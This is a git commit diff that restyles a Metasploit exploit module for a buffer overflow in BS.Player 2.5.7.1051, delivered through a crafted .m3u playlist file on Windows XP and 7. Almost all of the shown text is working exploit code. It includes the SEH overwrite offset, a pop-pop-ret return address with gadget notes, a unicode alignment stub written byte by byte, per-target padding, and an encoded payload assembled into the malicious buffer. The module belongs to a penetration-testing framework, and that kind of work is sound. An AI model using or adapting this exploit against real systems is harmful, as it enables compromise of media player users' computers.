Better MSF style compliance

This commit is contained in:
sinn3r 2012-01-17 14:54:50 -06:00
parent cfca791480
commit 2e8122dc88
1 changed files with 68 additions and 68 deletions

View File

@ -1,7 +1,3 @@
##
# $Id: $
##
## ##
# This file is part of the Metasploit Framework and may be subject to # This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit # redistribution and commercial restrictions. Please see the Metasploit
@ -54,23 +50,33 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
[ 'Windows XP', [ 'Windows XP',
{ {
# pop ecx # pop ebp # ret 0c
# ASLR: False, Rebase: False, SafeSEH: False
# v2.5.7.1051 (bsplayer.exe)
'Ret' => "\x2f\x49", 'Ret' => "\x2f\x49",
'Offset' => 4102 'Offset' => 4102,
'Padding' => 1879
} }
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) ],
[ 'Windows 7', [ 'Windows 7',
{ {
# pop ecx # pop ebp # ret 0c
# ASLR: False, Rebase: False, SafeSEH: False
# v2.5.7.1051 (bsplayer.exe)
'Ret' => "\x2f\x49", 'Ret' => "\x2f\x49",
'Offset' => 4102 'Offset' => 4102,
'Padding' => 1931
} }
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) ],
], ],
'Privileged' => false, 'Privileged' => false,
'DisclosureDate' => 'Jan 07 2010', 'DisclosureDate' => 'Jan 07 2010',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class) register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
], self.class)
end end
@ -78,50 +84,44 @@ class Metasploit3 < Msf::Exploit::Remote
nseh = "\x61\x42" nseh = "\x61\x42"
align = "\x58" # POP EAX align = ''
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x58" # POP EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x58" # POP EAX
align += "\x50" # PUSH EAX align << "\x6d" # PAD
align += "\x6d" # PAD align << "\x50" # PUSH EAX
align += "\xc3" # RET align << "\x6d" # PAD
align << "\xc3" # RET
if target == targets[0] then
padding = rand_text_alpha_lower(1879)
elsif target == targets[1] then
padding = rand_text_alpha_lower(1931)
end
enc = framework.encoders.create('x86/unicode_mixed') enc = framework.encoders.create('x86/unicode_mixed')
register_to_align_to = "EAX" register_to_align_to = "EAX"
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to }) enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
unicodepayload = enc.encode(payload.encoded, nil, nil, platform) unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
padding = rand_text_alpha_lower(target['Padding'])
buffer = "http://" buffer = "http://"
buffer << rand_text_alpha_lower(target['Offset']) buffer << rand_text_alpha_lower(target['Offset'])
buffer << nseh buffer << nseh